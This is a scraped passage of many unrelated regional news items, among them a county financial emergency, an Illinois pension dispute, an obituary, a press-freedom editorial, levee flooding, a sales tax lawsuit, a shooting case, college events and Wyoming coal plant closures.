for recruitment. SCC maintains the option to enter into an articulation agreement with SIU Carbondale for its in-person RN-to-BSN program when that campus program is in place, he said, adding that the more diverse array of options that Shawnee can provide its students the better. Love 1 Funny 0 Wow 0 Sad 0 Angry 0 Want to see more like this? Get our local education coverage delivered directly to your inbox. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. PINCKNEYVILLE During a special meeting Wednesday, the Perry County Board passed a declaration of financial emergency. The meeting was called to hear recommendations from Bruce DeLashmit, of Bellwether LLC, a consultant hired Tuesday to review the countys financial situation. Having spent a week in a deep dive," DeLashmit said, "the situation here is dire." He said there are multiple causes for the countys dire financial situation. The list of causes included changes in federal inmate resources, the government shutdown, undervalued intergovernmental agreements, cost-sharing, reporting and financial systems, among others. The declaration of financial emergency sets forth several actions to be taken immediately for all departments and county-wide elected officials: They must fully participate in the ongoing operations review seeking to find opportunities to improve revenue and reduce expenses; They shall suspend all travel not critical to performing the statutory responsibilities of the elected office; They must suspend recruiting and hiring for all vacant positions; And they must submit an updated department budgets to help develop a revised county budget. Representatives of labor unions will be notified of the declaration and the countys intent to seek opportunities to reduce costs through personnel and non-personnel savings efforts. Plus, the countys revolving loan fund will not accept new requests for loans in fiscal year 2019. The board also discussed bringing county fees into line with the fees charged by other Southern Illinois counties, including fees in the county clerk and recorders office, animal control and the sheriffs department. In the clerk and recorders office, DeLashmit said updating the fees could lead about $111,000 of revenue for the general fund and about $75,000 for the GIS fund. Animal control fees included existing animal registration and multi-year registration to match multi hear rabies shots. Currently, fees collected by animal control generate about $33,000. Your expense base for animal control is about $78,000. So, you are subsidizing that operations by about $40,000 a year, DeLashmit said. By increasing a one-year registration fee from $5 to $11, and adding a new $30 fee for a new multiple-year registration (a three-year vaccination), animal control would be a revenue-neutral operation. These fees are in line with many Southern Illinois counties, and in fact, there are three other counties that have engaged us to revise their animal control programs, DeLashmit said. He briefly reported on his update of fees charged by the sheriffs department, which is slated for further discussion next week. Revising the internal processing fees and bond fees will raise another $12,000 for the county. DeLashmit said what he and Sheriff Steve Bareis have put into place are actions that will increase non-property tax revenues by, on a fiscal year basis, about $275,000 to $300,000 per year. Part of the issue for the county is fiscal stability, so new money is going to be deeply appreciated," DeLashmit said. "But, it wont come in fast enough to solve a lot of the early cash flow problems that we have right now. During the meeting, Judge James Campanella wanted to make it clear that the money given by office holders is not taxpayer money. It is money collected pursuant to the law from fines and fees. And the amount is substantial, not $20,000 or $25,000. He said the majority of the funding is coming from the Circuit Clerks office, but the sheriff, assessor, county clerk, probation and even from Campanella himself, through the courthouse security fund, have contributed. It needs to be recognized that none of us has to do that, but our primary concern is these peoples jobs and the publics real estate tax bills, Campanella said. He asked the board to give the office holders two weeks to work on their plan to help solve the financial crisis, saying morale among county employees is down. Circuit Clerk Kim Kellerman said, obviously, the financial woes are weighing heavy on everyone from elected officials to employees. Everybody has mortgages and families. When their livelihoods are at stake, its threatening, Kellerman said. Were trying to reassure everyone that we will get through this. We still have a job to do and we are going to continue to do it. The board will hear from DeLashmit again at a meeting at 2 p.m. May 2. Love 2 Funny 6 Wow 1 Sad 1 Angry 0 Get Government & Politics updates in your inbox! Stay up-to-date on the latest in local and national government and political topics with our newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. SPRINGFIELD Democratic Gov. J.B. Pritzkers pension proposal is not sitting well with state lawmakers, an advisor to the Illinois Teachers Retirement System told its Board of Trustees this week. The governors plan is to reduce payments to the various pension systems by $850 million next year, while extending by seven years the time it will take to pay off $134 billion in unfunded liabilities. While the plan appears unpopular now, Andrew Bodewes, the boards legislative liaison, said that could change as the end of the session draws near and lawmakers have to consider the other options. I dont want to suggest that the majority of the General Assembly could ever get to a place where theyre OK with reducing pension payments by $850 million, Bodewes told the board during its annual retreat Thursday in Springfield. But when they start looking at, Were going to cut schools by this, were going to close these parks; Were going to reduce these services to children with learning disabilities, it starts to get real. Those conversations get very real. So Im always sympathetic to the members. Pritzker made that proposal as part of the budget package he submitted to the General Assembly earlier in the session, and it was only one part of a multi-pronged proposal to address the states long-term unfunded pension liability. Reducing payments into the systems is intended to free up general revenue funds for other purposes such as increasing funding for K-12 and higher education, hiring more social workers for the Department of Children and Family Services, and increasing reimbursement rates for certain Medicaid providers. But he has also proposed issuing what are called pension obligation bonds to pay down part of the unfunded liability, transferring surplus state assets to the pension funds and earmarking a portion of the revenue the state would receive from his proposed graduated income tax to pay down pension debt. The Teachers Retirement System is the largest of the states pension funds, with $52 billion in assets and 417,000 members. Under current law, the state is responsible for paying just more than $4.8 billion into the fund this year. That would be about 12 percent of Pritzkers entire general revenue fund budget proposal for the upcoming year. Currently, though, it has only about 40 percent of the assets it would need to pay off all of the obligations it has already accrued. Current law calls for gradually paying down the unfunded liabilities through 2045, when the systems are expected to be 90 percent funded. In March, the TRS board unanimously approved a statement urging lawmakers to reject any proposal to reduce scheduled payments or lengthen the schedule for paying down the liabilities. The system is at a growing risk of insolvency in the event of an economic downturn, the board said in the statement. This danger is the direct result of eight decades of state contributions that always have fallen far short of actuarially based funding. Love 0 Funny 1 Wow 0 Sad 0 Angry 1 MARION Mayor Emeritus Robert L. Bob Butler, 92, went home to be with his heavenly father at 9:30 a.m. Monday, April 22, 2019, while enroute to Heartland Regional Medical Center. Bob was born on Jan. 23, 1927, at 704 N. Garfield in Marion, the eldest son of Homer and Eva (Clarida) Butler. In his youth, Bob attended the First Christian Church Disciples of Christ on North Market Street with his parents and younger brother, Bill. Baptized by the late Rev. Hubert Barnett, Bob became a Christian and joined the church on April 18, 1937. It was then he received his first Bible, which he looked upon with a sense of reverence and mystery. The Word of God, as it is written in the King James Bible, became his anchor and the course of his life was determined. His lifelong service to the church included serving as the board chairman several times and teaching an adult Sunday school class for over 30 years. Having served as an elder in the church for several decades, Bob was named Elder Emeritus, the church's highest honor, in 2016. In his personal notes, Bob mentioned a number of occasions when he felt the strong presence of the Holy Spirit. There were two specific instances he noted - during his military service in Korea, and when he was caught up (his words) in the 1982 tornado. In addition, there were numerous times when making important decisions that Bob also felt the loving guidance of his faith. Reading was one of Bob's lifelong passions. Although he could never recall when he began reading independently, his curiosity was awakened by the comics his dad read to him from the Sunday St. Louis Post-Dispatch newspaper. Captivated by Flash Gordon, Bob was motivated to learn to read so he could read his favorite comic all by himself. He loved used bookstores the less he spent the more he could buy. That philosophy allowed him to acquire an extensive library that drew the envy of many, except for that of his wife, Louetta, who had to dust his numerous volumes before getting to furniture she originally set out to dust. An avid reader of classic literature, Don Quixote was his favorite novel and Mark Twain his favorite author. Bob attended school in Marion, graduating from Marion High School in 1944. During those years he probably got his first kiss, but wrote, I do not remember my first kiss probably because I was too excited. As he traveled the journey of youth, he had many accomplishments, but was most proud of attaining the rank of Eagle Scout. Bob graduated from law school at the University of Illinois, passing the Illinois Bar exam prior to graduation, a point of which his wife was particularly proud. He returned to Marion where he was a Williamson County assistant state's attorney for 10 years before opening his own practice. In 1963, life would change for Bob, his wife, and daughter, and ultimately, the citizens of Marion and the surrounding communities, as Bob won the first of 14 elections to become the mayor of what he would eventually call the Hub of the Universe. When he found a moment to step away from his duties, Bob liked to travel with his wife. There are so many fabulous places in the world I would enjoy, I'm not sure where to begin, he wrote. Louetta and I have been content to take tours of some of the fantastic areas in America. We decided Savannah was the prettiest city we had seen. Mount Rushmore was one of our favorite sites. I have no desire to travel the world; TV does a good job doing that. Bob was proud of his accomplishments that put his hometown on the map, but he said there were four decisions that impacted his life without him having to do anything: his birth; Louetta's acceptance of his marriage proposal; the birth of his daughter, Beth; and his election to 14 terms as mayor. Even with all the success, Bob remained humble. I have been given more credit than I deserved and more criticism than was warranted, he said. Ironically, Bob passed away on what would have been his final day in office had he not retired. Along with the many citizens from Southern Illinois whose lives have been impacted by his hard work, Bob leaves his wife of 67 years, Louetta, and his daughter, Beth, both of Marion; a brother, James William Bill and wife, Dorothy of Marion; sister-in-law, Shirley Aikman of Marion; niece, Cathy Carruthers and husband, Gary, of Godfrey; nephew, Dick Butler and wife, Jill, of Marion; great-nieces, Caitlin Reyes and husband, Michael, of Houston, Alyse Butler of Chicago, and Connor Butler of Marion; great-nephews, Andrew Carruthers and wife, Heidy, of Edwardsville, and Caleb Butler of Chicago; and great-great-nieces, Sophia, Camila and Gabriela Carruthers of Edwardsville. He was preceded in death by his parents; brothers-in-law, Thomas Edward T.E. Sanders and Edward H. Eddie Aikman; and one nephew, Jeff Butler. Mayor Emeritus Bob Butler will lie in state from 11 a.m. until 9 p.m. Monday, April 29, at the Marion Cultural & Civic Center, and from 9 a.m. to noon Tuesday, April 30. A service honoring the life of Bob Butler will begin at 1:30 p.m. Tuesday, April 30, on the proscenium of the Yolande B. Peterson Auditorium at the Marion Cultural & Civic Center. A private interment will follow. Bob had many favorite programs and charities that he actively worked for and supported. His family has chosen the Marion Cultural & Civic Center, the Lighthouse Shelter, the Boy Scouts of America, the Girl Scouts of the USA, and the First Christian Church, Disciples of Christ as suggested recipients of memorials in Bob's name. Envelopes will be available at the Civic Center. Mitchell-Hughes Funeral Home in Marion has been entrusted with the arrangements. For more information or to sign the memorial guest register, visit www.hughesfuneralhomes.com. This editorial appeared in the April 20, 2019, edition of the (Arlington Heights) Daily Herald: We tend to take for granted that the press in the United States is free. Truth be told, press freedoms here are increasingly under assault. Truth be told, press freedom in America ranks below that of almost every other country in the West. Reporters Without Borders, an international organization that promotes freedom of expression around the globe, released its 2019 World Press Freedom Index Thursday, and the results are troubling worldwide, disturbing in the U.S. Worldwide, "hatred of journalists has degenerated into violence, contributing to an increase in fear," the organization said in a summary of the report. "The number of countries regarded as safe, where journalists can work in complete security, continues to decline while authoritarian regimes continue to tighten their grip on the media." You might find it surprising that the U.S. doesn't rank at the top of the Index or anywhere near it. The 1 through 5 rankings go to Norway, Finland, Sweden, Netherlands and Denmark, countries with traditions of complete and open access. The United States ranks 48 this year, down three spots from a year ago. That puts us in a media climate category Reporters Without Borders describes as "problematic." We enjoy some public access to information and to government meetings but that comes with notable restrictions. Attempts to intimidate the press are not uncommon. Reporters Without Borders noted that "Donald J. Trump's presidency has fostered further decline in journalists' right to report. He has declared the press an 'enemy of the American people' in a series of verbal attacks toward journalists, attempted to block White House access to multiple media outlets and routinely uses the term 'fake news' in retaliation for critical reporting. "He has even called for revoking certain media outlets' broadcasting licenses. The violent anti-press rhetoric from the highest level of the U.S. government has been coupled with an increase in the number of press freedom violations at the local level as journalists run the risk of arrest for covering protests or simply attempting to ask public officials questions. "Reporters have even been subject to physical assault while on the job ... Whistleblowers face prosecution under the Espionage Act if they leak information of public interest to the press, while there is still no federal 'shield law' guaranteeing reporters' right to protect their sources." Reporters Without Borders is admittedly doctrinaire in its defense of freedom of expression, but the organization's underlying mission is vital for all of us. As citizens of the republic, we all have a vested interest in defending the First Amendment, in appreciating that public access and freedom of expression are safeguards that are essential in protecting all of our other freedoms. The news media is under an assault that is dangerous to our liberty. Defend it. Facts matter. Love 1 Funny 0 Wow 0 Sad 0 Angry 0 OLIVE BRANCH Its a quiet calamity. Since mid-February, about 25,000 to 30,000 acres of Alexander County have been inundated with flood waters pouring through the breach in the Len Small Levee on the Mississippi River. The flooding makes life difficult for the few remaining residents of the area, many sold their homes after the 2016 flood that created the breach in the levee. Joey Thurston, the Illinois Department of Natural Resources site superintendent at Horseshoe Lake State Fish and Wildlife Area, much of which is underwater, said he and his staff have been boating to high areas within the park to complete needed maintenance work. The park has largely been closed to the public since mid-February. But, for Thurston, the flooding is more than an inconvenience. Drone photos taken by Thurstons staff earlier this week showed the amount of silt and mud flowing through the lake. I cant see how this lake, I dont see how we can keep you see the sediment thats coming in, Thurston said. We in IDNR have to become part of the conversation. Were the largest landowner, 12,000 acres affected by it. We have to join in on the conversation, we have to be with the county, the local leaders to be able to make our case, this is about all of us, everybody, our natural resources. Given ideal situations, including no more rain, Thurston estimates it would take at least 30 days for the flood waters to disappear. Then, it will take considerable time to get the park reopened. Its going to have get dry enough for us to clean debris up, he said. We dont know, were going to have a lot of mud. Who knows what were going to have when it goes down. In addition to siltation, he is concerned about the effect the flooding will have on Horseshoe Lakes trademark cypress and Tupelo trees. There are also concerns as to what the frequent flooding is doing to the Horseshoe Lake fishery. Thurston said fisheries biologists are concerned game fish are following the current out of the flooded lake. Nestled between the Ohio and Mississippi rivers, Horseshoe Lake and the southern tip of Alexander County have always been susceptible to flooding. However, the breach in the Len Small Levee changed the equation dramatically. Prior to the breach, the Mississippi River had to reach 48.5 feet at Cape Girardeau for the river to top the levee. Now, water pours from the three-quarter-mile breach when the river reaches 33-35 feet. You see that every single year, probably multiple times per year, said Jeff Denny, the Alexander County engineer. The levee breach creates other more nefarious issues. Prior to 2016, flood damage was created simply by water inundating property. Now, the breach forces the water out of the Mississippi channel with a force that washed away homes in 2016 and is capable of peeling surfaces off roadways. And, as of now, there are no concrete plans, or timetable, to repair the levee. Now, its just like a total reset. Every time the water flows through there like that, where the sand was, thats different, Denny said. The ground where you want to rebuild the levee, it could be 10-foot lower. Youre going to have to re-evaluate. We have plans and we have permits to build it, but what we thought we are going to build. Thats what we ran into before, we could afford it, but we had the last go-round and we might still be able to swing it, but the project got worse and bigger. Some Alexander County residents are still living in the area, their homes islands of land protruding from the flood waters. The Miller City Blacktop, the major roadway serving the region, is covered with water. The remaining residents use boats to take them to the dry areas where they can reach their vehicles. A tour of the area earlier this week showed the river has partially torn away a significant portion of the levee south of the breach. And, water roiling through the breach has dug deep trenches in the land that once covered with corn and soybeans. Thurston is advocating for a stopgap measure that would protect the park, which is right in line with the levee breach. We need to do something to protect it right now, or there just isnt going to be any (park), to slow the current down, Thurston said. This just keeps getting larger and larger. The thing about it is, we see 100 percent of what comes through that gap at the breach. Were going to see it. That water is ours. Its coming. The Mississippi is straight at us. Unfortunately, the flooding has been occurring more often, which complicates efforts to rebuild the levee. Basically, the only hope you have, you hope June 1 you have a low river where you can start, Denny said. Typically then, you should have the whole summer, the fall is fairly dry, until Thanksgiving. That gives you a window you could do that. We havent been having that. All last fall the river was up, you couldnt even think about it. Funding will also be a problem. Currently, Alexander County does not qualify for disaster assistance. We dont have that many resources to begin with, Denny said. We werent even declared a state disaster area. You have to be declared a state disaster area to become a federal. Were not getting any help. With our state you have to have enough damage based on the per capita of your state. In 2016 I had like $3.5 million in road damage that FEMA acknowledged, but for the state you have to have, the county threshold, we exceeded 100 times. The state threshold, we didnt meet. Its an unfortunate thing. If that was Interstate 57 running through there, you wipe out a half-mile of it, thats a $10 million cost vs. my county road. Given the expanding flooding cycles, the changing nature of repairs to the levee and uncertain funding, the outlook for relief is as murky as the water flowing through the levee breach. How long can we keep doing this? Thurston said. If it was a one-time deal, this is something that is going on steadily and its going to keep going on. Weve adapted. We know how to get in and out and take care of our site. But, how long can we keep doing it? How long can we keep rebuilding the same roads every year? Denny asked. Those are all important questions with no answers. Love 0 Funny 1 Wow 0 Sad 5 Angry 1 Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. The sales tax rate in Calhoun County will increase to 8% beginning May 1, the result of last November's voter referendum. County voters in the general election approved a 1% sales tax increase for capital projects, changing the county's sales tax rate to 8%. The vote was 3,137 "yes" and 2,331 "no." The 1% is in addition to the county's existing local-option tax. The money from the sales tax increase is to be used for specific building projects, including a water line from the Lake Marion Regional Water Authority to serve Creston/Midway and the St. Matthews areas. Other projects include demolition of old buildings in St. Matthews. New recreation facilities are to be built in their place. Those paying an accommodations tax will pay 9%. The sales tax ends in eight years or when the tax generates $7 million, whichever comes first, unless voters approve another referendum. Twenty-one other counties, including Orangeburg and Bamberg, have a capital projects tax. Saluda County voters also approved a 1% capital projects tax in November. The tax does not apply to sales of unprepared food. Calhoun County is facing a court challenge to the new tax. County residents Amy Hill and Rebecca Bonnette are suing county council, claiming the countys planned use of the tax violates state law. That statute allows them to use the penny tax for certain purposes and we believe its pretty clear that they exceeded what the statute allows on four particulars, attorney James Carpenter said. Carpenter is part of the South Carolina Public Interest Foundation, an organization that says it works to uphold South Carolinas constitution and laws. Carpenter said four of Calhoun Countys projects violate the law: Emergency communications project -- $500,000 Ambulance project -- $165,000 Sandy Run Fire District ladder truck project -- $350,000 Sandy Run Fire District tanker truck project -- $267,000 The state statute says that the penny tax is available for certain uses and in the lawsuit we named four specific uses that they have said theyre going to spend the money on which are not allowed by state statute as we read it, Carpenter said. They put those uses out there to the voters when they asked the voters to approve the penny tax. Including those illegal uses, we contend, made the whole referendum unlawful because it violates the state statute, he said. Nobody knows what would have happened to that referendum had those four unlawful uses not been in there. So, were asking for a number of things. Were asking that the ordinance that gave rise to the referendum be declared unlawful, that the taxation be prohibited because its for unlawful uses as a whole and then alternatively that these four specific uses be prohibited," Carpenter said. For more information about the state's sales tax, visit the South Carolina Department of Revenue's website at dor.sc.gov/tax/sales. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 And they came to Jericho and as he went out of Jericho with His disciples and a great number of people, blind Bartimaeus, the son of Timaeus, sat by the highway side begging. And when he heard that it was Jesus of Nazareth, he began to cry out, and say Jesus, thou son of David, have mercy on me. And many charged him that he should hold his peace: but he cried the more a great deal, Thou son of David, have mercy on me. And Jesus stood still, and commanded him to be called. And they call the blind man, saying unto him, Be of good comfort, rise; he calleth thee. And he, casting away his garment, rose, and came to Jesus. And Jesus answered and said unto him, What wilt thou that I should do unto thee? The blind man said unto him, Lord, that I might receive my sight. And Jesus said unto him, Go thy way; thy faith hath made thee whole. And immediately he received his sight, and followed Jesus in the way. -- Mark 10:46-52 Now, we can also be confident today, just like this blind man, that Jesus hath won the final victory and is in complete control of everything. In Matthew 28:18 Jesus said, All power is given unto me in heaven and in earth. That means every believer need not fear what the devil might do to them and their family. In Luke 9:1-2, Jesus called his twelve disciples together, and gave them power and authority over all devils, and to cure diseases. And he sent them to preach the kingdom of God, and to heal the sick. As a believer, what sound are you making, that would make other people listen and want to hear more of Gods Word that you have experience? In Pauls prayer in Ephesians 1:16-23 he demonstrates the fullness of the Father in Jesus which is also in us as believers. Cease not to give thanks for you, making mention of you in my prayers; That the God of our Lord Jesus Christ, the Father of glory, may give unto you the spirit of wisdom and revelation in the knowledge of him. The eyes of your understanding being enlightened, that ye may know what is the hope of his calling, and what the riches of the glory of his inheritance in the saints. And what is the exceeding greatness of his power to us-ward who believe, according to the working of his mighty power, which he wrought in Christ, when he raised him from the dead, and set him at his own right hand in the heavenly places. Far above all principality, and power, and might, and dominion, and every name that is named, not only in this world, but also in that which is to come, and hath put all things under his feet, and gave him to be the head over all things to the church, which is his body, the fullness of him that filleth all in all. Our Ability In Christ Jesus came so we would have the ability to render the devil and his followers helpless, powerless, inoperative and ineffective to operate in our life in every area, by the authority of the name of Jesus Christ. Dr. Ronald Hester is pastor of Gods Way of Life Ministries in Orangeburg. Love 1 Funny 0 Wow 0 Sad 0 Angry 0 A Johns Island man surrendered to local authorities around mid-morning Wednesday to face allegations that he killed one college student and injured another, Orangeburg Department of Public Safety Director Mike Adams said. Meanwhile, a deputy solicitor claims that the shooting incident started at an illegal party promoted by another suspect. It was an illegal party and it was at a house at an area where the crowd got too large. Too many people started showing up. There was a lot of overflow that went out into the yard and into the street, Assistant Solicitor Ashley Cornwell said Thursday. Tyler Jamal Givens, 19, appeared before Orangeburg Municipal Judge Chasity Avinger on Thursday morning. He remains at the Orangeburg County Detention Center for now. A circuit court judge will decide at a later date if he can be released on bond. Amber Marie Green, 25, of 736 Webster Street, is facing the same charges as Givens: murder, assault and battery of a high and aggravated nature, possession of weapon during the commission of a violent crime and discharging a firearm in the city limits. She also remains at the county detention center. Both are accused in the April 14 shooting incident that killed Donovan Smalls, a 20-year-old Benedict College student, and injured a 19-year-old Claflin University student outside of a Summers Avenue house party. Warrants accuse Green of firing a handgun, leading to a chain of events which led Givens to open fire. Warrants accuse Givens of firing the shots that killed Smalls and injured the 19-year-old female. Green appeared before Circuit Judge Diane Goodstein for bond consideration on Thursday. After hearing from Cornwell, Greens attorney Thomas Sims and Smalls mother Crystal Matthews, Goodstein stated that she wouldnt set bond at that moment. She stated that she wants to conduct research that surrounds the issue of murder in these types of circumstances. I had a matter that was similar in the past and I want to take a little bit of time just to do a little bit of research, she said. Earlier in the hearing, Cornwell alleged that Green promotes illegal parties. She promotes parties through social media, through community outreach. The parties she promotes are not legal parties. They are illegally serving alcohol, they dont have permits to serve alcohol. The parties have been a problem in the area, Cornwell said. The shooting occurred at a party that Green promoted, Cornwell said. Cornwell said that a Dodge Charger was parked nearby and playing loud music. She said this caused a lot of people to stay outside of the house and not come in and pay the door fee, the entry fee, to get in, so money was not being received. While the investigation is still ongoing, law enforcement officers believe that Green exited the house, approached the Dodge Charger and then got into an argument with its occupants, Cornwell said. Cornwell said Green allegedly told the occupants they needed to leave and they were taking away from her party. The argument ensued, she then turns around and goes back into where the party was and retrieves a firearm, comes out of the house and fires the firearm, Cornwell said. However, based on her firing this firearm in the air, it was a catalyst in the events that set off another round of shooting where two groups began shooting at each other, she added. Cornwell said when those shootings began, Givens allegedly retrieved a gun out of his car and just starts shooting down the street, just blanket shooting at everybody. Cornwell said neither Smalls nor the 19-year-old injured female were involved in the shootings. She said the injured female identified Green as the woman in the yard who started shooting. She also said that law enforcement officers spoke with Green. I will tell you that based on my conversations with law enforcement, while she made a statement, she was not as forthcoming as they thought she could be, Cornwell added. She said Green told officers about two individuals that she worked with through the party-promoting business but only knew them by their nicknames. Officers identified one of the individuals, but havent yet determined the second persons actual name. The investigation is ongoing into that persons identification. Cornwell said officers searched Greens cellphone and discovered text messages sometime after the incident. She alleged there was a text message from Greens cellphone to another persons cellphone that basically said that police dont have anything, they just know a woman shooting in the yard, nobodys mentioned you, just lay low and youll be good. Cornwell said that Green is the person that caused these actions to occur, not just for firing the shots into the air, but by promoting these illegal parties and not following state law when it comes to alcohol distribution. Officials have not charged Green with any violations concerning illegal parties or the states liquor laws. Cornwell said that Green doesnt have a job, isnt going to school and will likely continue to promote parties. She also noted that Green has an outstanding warrant from Augusta, Georgia alleging harassing communication and has two convictions for driving under the influence of alcohol, one in New York and the other in Orangeburg. She and Smalls mother expressed concerns about Green being a flight risk if Goodstein set bond. Greens attorney, Sims, argued that shes not a flight risk because she has a son enrolled in a local pre-kindergarten program and has family connections in Orangeburg. He also noted that she has an uncle whos a deputy with the Dorchester County Sheriffs Office. Sims noted that nothing in Greens warrants state that she killed or injured anyone. Theres no evidence to say that she killed anyone, Sims said. Theyve just got a whole gamut of charges against her, he added. He went on to say that Green doesnt own a gun and that prior to the April 14 incident, shed reported that someone stole her firearm. When she was charged with DUI, someone stole the gun out of her car and she reported that to police, Sims said. A new bond hearing for Green is not yet scheduled. Contact the writer: mbrown@timesanddemocrat.com or 803-533-5545. Follow on Twitter: @MRBrownTandD. Love 0 Funny 1 Wow 1 Sad 8 Angry 6 Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. DENMARK -- Voorhees College will hold its 122nd commencement ceremony at 11 a.m. Saturday, May 4 in the Leonard E. Dawson Center. The keynote speaker will be civil rights activist, author, minister and television/radio talk show host the Rev. Al Sharpton. Sharpton is the founder and president of the National Action Network. NAN is a not-for-profit civil rights organization that was formed in 1991 and has more than 100 chapters across the U.S. He was praised by President Barack Obama as the voice of the voiceless and a champion for the downtrodden. Sharpton hosts a daily syndicated radio show called Keepin It Real and a national cable news television show called PoliticsNation with Al Sharpton that airs on MSNBC. The hooding ceremony and baccalaureate service for the 2019 May graduates will be held on Friday, May 3 at 6 p.m. in the St. Philips Episcopal Chapel. The events are free and open to the public. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Fifty years ago, on April 28, 1969, more than 30 students at Voorhees College in Denmark took drastic measures to get the administration to listen to their concerns about the college. What made the protest so different than other student unrest across America was that they used guns in forcing the faculty, staff and students out of Wilkinson Hall which was the presidents office, the library and other offices. Fifty years later, the Voorhees College Archives will bring back to the campus Cecil Raysor, Oliver Francis, Michael Moore, James Bryant and James Epps, who participated in the student protest. Moore is the brother of Myra Thompson, who was one of the Emanuel Nine that was killed at Emanuel AME Church in Charleston in June 2015. The commemoration will take place Saturday, April 27, starting at 10 a.m. in the Wright/Potts Library on the campus of Voorhees. The program is open to the public, and lunch will be served between the two-part event. During the symposium, the former students will share their reflections on their involvement in the protest: How did they develop their plans? Why did they use guns? Why did they select the Wilkinson Building? Where did the guns come from? How was the list of demands selected? Some of their demands were: That an African American studies program be started. Placement of a black person as head of each department. Raising the wages of non-academic workers to a minimum of $1.60 an hour. Firing of a white professor who was allegedly failing a large number of black students and allegedly falsified information on his job application stating he had graduated from Oxford University in England. Because of their method and the manner in which they planned to gain attention from the administration, their actions resulted in them being arrested, prosecuted, convicted and sentenced to prison from 18 months to two years. According to Richard Reid, the historian at Voorhees College, No other protesting college students across America received this form of punishment as a result of their participation in any unrest on a college campus. In most of those cases, the students received amnesty which was granted by the schools administration. Reid said that the symposium will also include news footage that was recorded and documented from ABC, CBS and NBC television networks. Also, adiscussion of the Voorhees College event will be conducted by an academic panel that will include Dr. Ramon Jackson, Dr. Albert Jabs and other professors. Former president of Voorhees College and civil rights activist Dr. Cleveland Sellers Jr. will moderate the symposium. For more information, contact Voorhees historian Richard Reid at 803-780-1225 or 803-837-1522 or by email at rreid@voorhees.edu. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Issues of concern to people who live in the west: property rights, water rights, endangered species, livestock grazing, energy production, wilderness and western agriculture. Plus a few items on western history, western literature and the sport of rodeo... Frank DuBois served as the NM Secretary of Agriculture from 1988 to 2003. DuBois is a former legislative assistant to a U.S. Senator, a Deputy Assistant Secretary of Interior, and is the founder of the DuBois Rodeo Scholarship. MONTREAL/OTTAWA (Reuters) - Rising waters were prompting further evacuations in central Canada on Thursday, with the mayor of the countrys capital, Ottawa, declaring a state of emergency and Quebec authorities warning that a hydroelectric dam was at risk of breaking. Ottawa Mayor Jim Watson declared the emergency in response to rising water levels along the Ottawa River and weather forecasts that called for significant rainfall on Friday. In a statement on Twitter, Watson asked for help from the Ontario provincial government and the countrys military. He warned that flood levels are currently forecasted to exceed the levels that caused significant damage to numerous properties in the city of Ottawa in 2017. Spring flooding had killed one person and forced more than 900 people from their homes in Canadas Quebec province as of 1 p.m. on Thursday, according to a government website. Ottawa has received 80 requests for service related to potential flooding such as sandbagging, a city spokeswoman said. The prospect of more rain over the next 24 to 48 hours triggered concerns on Thursday that the hydroelectric dam at Bell Falls in the western part of Quebec could be at risk of failing because of rising water levels. Quebecs provincial police said 250 people were protectively removed from homes in the area as of late afternoon in case the dam on the Rouge River breaks. The dam is now at its full flow capacity of 980 cubic meters per second of water, said Francis Labbe, a spokesman for the provinces state-owned utility, Hydro Quebec. He said Hydro Quebec expected the flow could rise to 1,200 cubic meters per second of water over the next two days. We have to take the worst-case scenario into consideration, since we`re already at the maximum capacity, Labbe said by phone. The dam is part of a power station that no longer produces electricity, but is regularly inspected by Hydro Quebec, he said. On Thursday morning, the co-president of MemoShoah Luxembourg, Jim Goerres, spoke to RTL Radio. The non-profit association was created more than four years ago, mainly out of a desire to not see history repeat itself. Goerres, speaking to RTL Radio on Thursday morning, expressed the opinion that Luxembourg needs an independent observatory to count antisemitic incidents. The current precedent is a private initiative, but Goerres pointed out that the authorities have not launched any measures against antisemitism. Currently, Goerres explained, politicians seem deaf to the issue. He called for a neutral body which would collect information on incidents. Whilst Luxembourg, having had 13 reports of antisemtism in 2017, is not experiencing a resurgence of antisemitic acts like in other countries, Goerres highlighted that Jewish people are still blamed for negative political or social occurrences. The only way to fight this trend is to explain and make people think, according to Goerres. He acknowledged that working against fake news is no simple task, but the importance of questioning sensationalist news stories remains true to this day. Gov. Mark Gordon said he was deeply concerned Friday by Rocky Mountain Powers serious consideration of shuttering some coal-fired power plant units in Wyoming within four years. The utility part of PacifiCorp released a presentation earlier this week confirming that closing nine coal-fired units in Colorado and Wyoming, including Jim Bridger, Naughton and Dave Johnston, by 2023 would save the company and its customers $12 million. Gordon was critical of the companys direction in a statement Friday, noting the trickle-down effect of coal plant closures in the Cowboy State. The governor said he was prepared to advocate for the plants continued operation. This has significant impacts on all of Wyoming and revenue for schools and other services we all depend on, he said It also means a loss of jobs and changing peoples lives. Wyoming is the largest coal producer in the country, and the coal plant closures considered by Rocky Mountain Power are part of a larger story of coals decline in a competitive power market. The rock went from providing half of the countrys power 15 years ago to about 30 percent today. But, closures are also local crises in small town Wyoming, as plants are both large employers and taxpayers. Earlier this year the Kemmerer mine already facing the bankruptcy of its owner due to a challenged coal market lost a large chunk of its annual demand when Rocky Mountain Power closed one of the coal-fired units at the Naughton plant. The company closed the unit due to a federal regulation that would have been more costly to comply with than the older unit was worth. In response to the closure of the Naughton unit and the uncertainty of the Kemmerer mine, state lawmakers passed a bill earlier this year that would obligate large utilities like Rocky Mountain Power to search for a buyer before closing a coal plant. That obligation is dependent on the buyer meeting a fairly high bar to be set by the Wyoming Public Service Commission. In his statement Friday, Gordon noted his desire for a technological approach to deal with carbon dioxide emissions from power plants, a stance that has been promoted by Sen. John Barrasso in recent statements as well as other prominent Wyoming leaders, such as Gordons predecessor, former Gov. Matt Mead. The early closure of coal plants is a missed opportunity to face climate change while maintaining a diversified energy portfolio through advancing technology, Gordon said in his statement. The comments diverged from Mead, who was often cautious to avoid affirming man-made climate change as a reality. Gordon told the Star-Tribune during his campaign that he had doubts about the veracity of man-made climate change. The potential for early retirement of some coal-fired power plants means we drift further away from finding solutions for reducing carbon emissions at all coal-fired power plants, those plants in Wyoming and across the globe, Gordon said. I will advocate for a positive path where this utility and others are part of developing solutions rather than destroying communities and delaying progress. Though climate concerns were once the most pressing worry for Wyoming coal and a hallmark of Wyomings bitter dispute 